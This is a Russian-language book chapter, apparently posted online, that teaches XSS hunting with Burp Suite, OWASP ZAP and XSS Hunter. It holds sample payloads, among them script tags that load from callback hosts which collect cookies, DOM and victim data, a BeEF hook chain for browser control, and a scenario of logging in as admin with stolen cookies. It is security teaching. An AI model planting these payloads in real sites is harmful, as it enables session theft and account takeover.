Книга: «Все об уязвимости XSS». Глава 5: Поиск XSS - Охота началась 🕵️ • Инструментарий: Burp Suite (моя любовь), OWASP ZAP, XSS Hunter

Инструменты -это продолжение рук охотника за XSS. Можно быть гением теории, знать все payload'ы наизусть, но без правильного тулсета ты будешь как хирург с тупым скальпелем. За годы работы я перепробовал десятки инструментов, от древних скриптов на Perl до модных фреймворков на Go. И могу с уверенностью сказать: есть три кита, на которых держится вся охота -Burp Suite, OWASP ZAP и XSS Hunter. Давай разберём каждый и научимся выжимать из них максимум.

Burp Suite - швейцарский нож и любовь всей жизни

Burp Suite от PortSwigger - это не просто инструмент. Это целая экосистема для веб-пентеста, и для XSS-охоты в частности. Если бы меня сослали на необитаемый остров и разрешили взять только один инструмент для поиска уязвимостей - я бы взял Burp. И зубную щётку.

Почему Burp - это любовь

Полнота функционала. Proxy, Scanner, Intruder, Repeater, Decoder, Comparer -каждый модуль решает свою задачу, и все они работают в связке. Ты перехватываешь запрос в Proxy, отправляешь в Repeater для тестирования, затем в Intruder для fuzzing'а, а Scanner параллельно ищет автоматические находки.

Расширяемость. BApp Store содержит сотни плагинов, созданных комьюнити. Для XSS особенно полезны: XSS Validator, Retire.js, Reflected Parameters, Active Scan++, JSON Web Tokens и куча других.

Стабильность. Burp работает. Всегда. Даже с тысячами запросов, сложными scope'ами и многочасовыми сессиями. Это промышленный инструмент, который не падает в самый неподходящий момент.

Burp Proxy - твой пункт перехвата

Здесь начинается всё. Proxy перехватывает HTTP/HTTPS трафик между браузером и целевым сервером, позволяя тебе видеть и модифицировать каждый запрос и ответ.

Базовая настройка:

  1. Burp слушает на 127.0.0.1:8080 по умолчанию
  2. Настрой браузер использовать этот прокси (или используй расширение FoxyProxy)
  3. Установи CA-сертификат Burp для перехвата HTTPS
  4. В Proxy → Options → включи "Intercept is on"

Продвинутые фишки для XSS:

Match and Replace rules: Автоматическая подмена значений на лету. Например, замени все User-Agent на payload:

  • Type: Request header
  • Match: User-Agent: .*
  • Replace: User-Agent: <script>alert(1)</script>

Automatic Payload Markers: В Proxy → Options → Response Modification можешь настроить автоматическую подсветку твоих payload'ов в ответах. Добавь регулярки типа <script>alert и они будут выделяться цветом.

History filter: В HTTP History настрой фильтры, чтобы видеть только интересные запросы. Например, только POST-запросы к формам или только ответы с кодом 200, содержащие твои маркеры.

Burp Repeater - снайперская винтовка

Repeater позволяет многократно отправлять и модифицировать один запрос, мгновенно видя результат. Это идеально для мануального тестирования когда ты нащупал потенциальную уязвимость.

Workflow:

  1. Перехватил запрос в Proxy → Send to Repeater (Ctrl+R)
  2. Модифицируй параметр, добавь payload
  3. Send (Ctrl+Space)
  4. Смотри Response (особенно в Render tab для визуального отображения)
  5. Итерируй: меняй payload, отправляй снова

Лайфхаки:

  • Множественные табы: Открывай несколько вкладок Repeater для разных запросов/payload'ов
  • Request/Response highlighting: Правой кнопкой → Highlight → выбери цвет для важных находок
  • Compare responses: Выдели два запроса → Send to Comparer → видь точные различия в ответах

Burp Intruder - артиллерия массового поражения

Как мы разбирали в предыдущем разделе о fuzzing'е, Intruder - это твой автоматический атакующий модуль. Но есть ещё нюансы.

Payload Processing:

В Intruder → Payloads → Payload Processing можно добавлять правила преобразования на лету:

  • Add prefix/suffix (например, обернуть каждый payload в кавычки)
  • URL-encode special characters
  • Base64-encode
  • Hash (MD5, SHA1, etc.)

Это позволяет не готовить отдельные списки для каждого контекста.

Grep - Extract:

Помимо простого Grep - Match, используй Grep - Extract для извлечения конкретных данных из ответов. Например, вытащи CSRF-токены или session ID'шники, чтобы использовать их в последующих запросах.

Resource Pool:

В профессиональной версии можно создавать пулы ресурсов для управления нагрузкой. Для чувствительных целей настраивай throttling (задержки между запросами), чтобы не вызвать rate limiting или DoS.

Burp Scanner - автоматический разведчик

В Burp Pro есть активный и пассивный сканер. Пассивный анализирует трафик, проходящий через Proxy, и ищет потенциальные проблемы. Активный отправляет собственные запросы с payload'ами.

Настройка для XSS:

  1. Target → Site map → правой кнопкой на нужный scope → Actively scan this branch
  2. Scan configuration → выбери "Audit checks" → убедись, что включены все XSS-проверки (Reflected XSS, Stored XSS, DOM-based XSS)
  3. Запусти сканирование

Важно: Scanner хорош как первый проход, но он не заменит мануального тестирования. Он найдёт 60-70% очевидных XSS, остальное — твоя работа.

Burp Extensions для XSS

DOM Invader (встроенный в новых версиях):

Расширение для браузера, интегрированное с Burp, которое показывает DOM-based XSS векторы прямо в DevTools. Подсвечивает sources (откуда данные) и sinks (куда попадают), показывает потенциально опасные места.

XSS Validator:

Плагин, который реально выполняет твой payload в headless-браузере (Phantom.js) и проверяет, сработал ли JavaScript. Это решает проблему false positives — если Scanner говорит "возможно XSS", XSS Validator скажет "да" или "нет" точно.

Reflected Parameters:

Автоматически находит все параметры, которые отражаются в ответе. Экономит время на ручной поиск.

Практический workflow в Burp

  1. Разведка: Spider + Proxy (ходишь по сайту руками, Burp всё запоминает)
  2. Автосканирование: Burp Scanner на весь scope
  3. Ручное тестирование: Анализируешь Sitemap, ищешь интересные точки входа
  4. Fuzzing: Intruder с payload-листами на найденные параметры
  5. Эксплуатация: Repeater для отладки финального PoC
  6. Документирование: Экспорт находок из Scanner + скриншоты из Repeater

OWASP ZAP - бесплатная альтернатива с душой

OWASP Zed Attack Proxy - это open-source конкурент Burp. Если у тебя нет денег на Burp Pro (около $400/год), ZAP — отличный выбор. И даже если есть, ZAP стоит держать в арсенале.

Чем ZAP хорош

Полностью бесплатный. Все функции доступны из коробки. Нет урезанных версий, нет подписок.

Активное комьюнити. OWASP - это огромная организация, и ZAP поддерживается армией контрибьюторов.

Автоматизация и CI/CD. ZAP изначально проектировался для интеграции в автоматические пайплайны. У него есть Docker-образы, CLI, API - всё для DevSecOps.

Дружелюбный UI. Burp может показаться сложным новичку. ZAP проще, с wizard'ами и подсказками.

Основные возможности ZAP

Automated Scan:

Самый простой способ начать:

  1. Запускаешь ZAP
  2. Quick Start → Automated Scan
  3. Вводишь URL цели
  4. Attack

ZAP сам проползёт сайт (spider), найдёт формы, параметры и протестирует их на XSS и другие уязвимости.

Manual Explore:

Более контролируемый подход:

  1. Manual Explore → вводишь URL
  2. Открывается браузер, проксированный через ZAP (HUD mode)
  3. Ходишь по сайту, ZAP записывает всё
  4. Потом запускаешь Active Scan на собранный scope

Fuzzer:

Аналог Burp Intruder. Правой кнопкой на запросе → Attack → Fuzz. Выбираешь параметр, загружаешь payload-лист, запускаешь. Результаты показываются в реальном времени.

Scripts и расширения:

ZAP поддерживает скрипты на Python, JavaScript, Ruby. Можно писать свои чекеры, кастомные payload'ы, автоматизацию.

ZAP vs Burp: когда что использовать

Используй ZAP если:

  • Нет бюджета
  • Нужна интеграция в CI/CD
  • Работаешь в команде, где все должны иметь доступ к одинаковым инструментам
  • Тестируешь простые сайты без сложной логики

Используй Burp если:

  • Нужна максимальная гибкость и контроль
  • Работаешь с enterprise-приложениями со сложной логикой
  • Нужны продвинутые функции типа Session Handling, Macros, Collaborator
  • Просто хочешь best-in-class инструмент

Моё мнение: Для профессиональной охоты - Burp. Для автоматизации, обучения и open-source проектов - ZAP. Идеально - иметь оба.

XSS Hunter - специализированное оружие для Blind XSS

XSS Hunter (и его новая версия XSS Hunter Express) - это не универсальный сканер. Это лазерно-точный инструмент для одной задачи: ловить Blind XSS.

Проблема, которую решает XSS Hunter

Как мы разбирали в главе о типах XSS, Blind XSS - это когда твой payload срабатывает в месте, куда у тебя нет прямого доступа (админка, внутренняя система, email-клиент саппорта). Проблема: как узнать, что он вообще сработал?

Решение: XSS Hunter предоставляет уникальные payload'ы, которые при выполнении отправляют callback на сервер XSS Hunter с полной информацией о срабатывании.

Как работает XSS Hunter

  1. Регистрируешься на сервисе (можешь использовать публичный xss.ht или развернуть свой)
  2. Получаешь уникальный payload:

<script src="https://your-subdomain.xss.ht"></script>

  1. Вставляешь этот payload во все точки входа (формы, тикеты, профили, headers)
  2. Ждёшь
  3. Получаешь email/уведомление, когда кто-то (админ, модератор) открыл страницу с твоим payload'ом

Что собирает XSS Hunter при срабатывании

  • Screenshot страницы, где сработал XSS
  • Полный DOM (document.documentElement.outerHTML)
  • Cookies (если доступны)
  • LocalStorage и SessionStorage
  • URL страницы
  • IP-адрес жертвы
  • User-Agent браузера
  • Referrer
  • Origin

Это золотая шахта информации для дальнейшей эксплуатации.

XSS Hunter Express - самохостинг

Публичный XSS Hunter иногда недоступен или ты не хочешь светить свои payload'ы на чужом сервере. XSS Hunter Express - это open-source версия, которую можно развернуть на своём VPS.

Установка:

git clone https://github.com/mandatoryprogrammer/xsshunter-express

cd xsshunter-express

npm install

# Настрой .env файл с доменом и параметрами

node app.js

Теперь у тебя свой приватный XSS Hunter с полным контролем.

Продвинутые техники с XSS Hunter

Chainload с BeEF:

Payload XSS Hunter можно скомбинировать с BeEF для полного контроля:

<script src="https://your-xss.ht"></script> <script src="https://your-beef.com/hook.js"></script>

Сначала получишь информацию через XSS Hunter, потом управляешь браузером через BeEF.

Кастомные payload'ы:

XSS Hunter позволяет добавлять свой JavaScript, который выполнится при срабатывании. Можешь красть специфичные данные, делать дополнительные запросы, etc.

Практический workflow

  1. Массовая отправка: Вставь XSS Hunter payload во все формы обратной связи, тикеты, профили на целевом сайте
  2. Маркировка: Используй разные поддомены или параметры для разных точек входа (например, contact-form.xss.ht, profile-bio.xss.ht), чтобы знать, где сработало
  3. Мониторинг: Проверяй панель XSS Hunter раз в день/неделю
  4. Реагирование: При срабатывании анализируй данные, пытайся воспроизвести уязвимость с уже известным контекстом

Комбинирование инструментов - синергия

Профессионалы не выбирают один инструмент. Они используют всё вместе:

  • Burp для глубокого мануального тестирования и fuzzing'а
  • ZAP для автоматизации и первичного сканирования
  • XSS Hunter для Blind XSS на долгосрок

Типичный день охотника:

  1. Утро: ZAP автоматически сканирует цель, пока ты пьёшь кофе
  2. День: Анализируешь результаты ZAP, интересные места дотестируешь в Burp вручную
  3. Вечер: Разослал XSS Hunter payload'ы во все формы обратной связи
  4. Через неделю: Получил уведомление от XSS Hunter → залогинился под админом через украденные cookies → написал отчёт на $5k

Заключение

Инструменты - это не просто софт. Это продолжение твоего мышления. Burp Suite, OWASP ZAP и XSS Hunter покрывают 99% задач при поиске XSS. Освой их на уровне рефлекса: горячие клавиши, настройки, расширения, интеграции. Экспериментируй, комбинируй, автоматизируй рутину и фокусируйся на творческой части - поиске нестандартных векторов и эксплуатации сложных кейсов. В следующей главе мы перейдём к обходу фильтров - там, где инструменты бессильны, а побеждает только твой мозг и знание спецификаций.

30 views·2 shares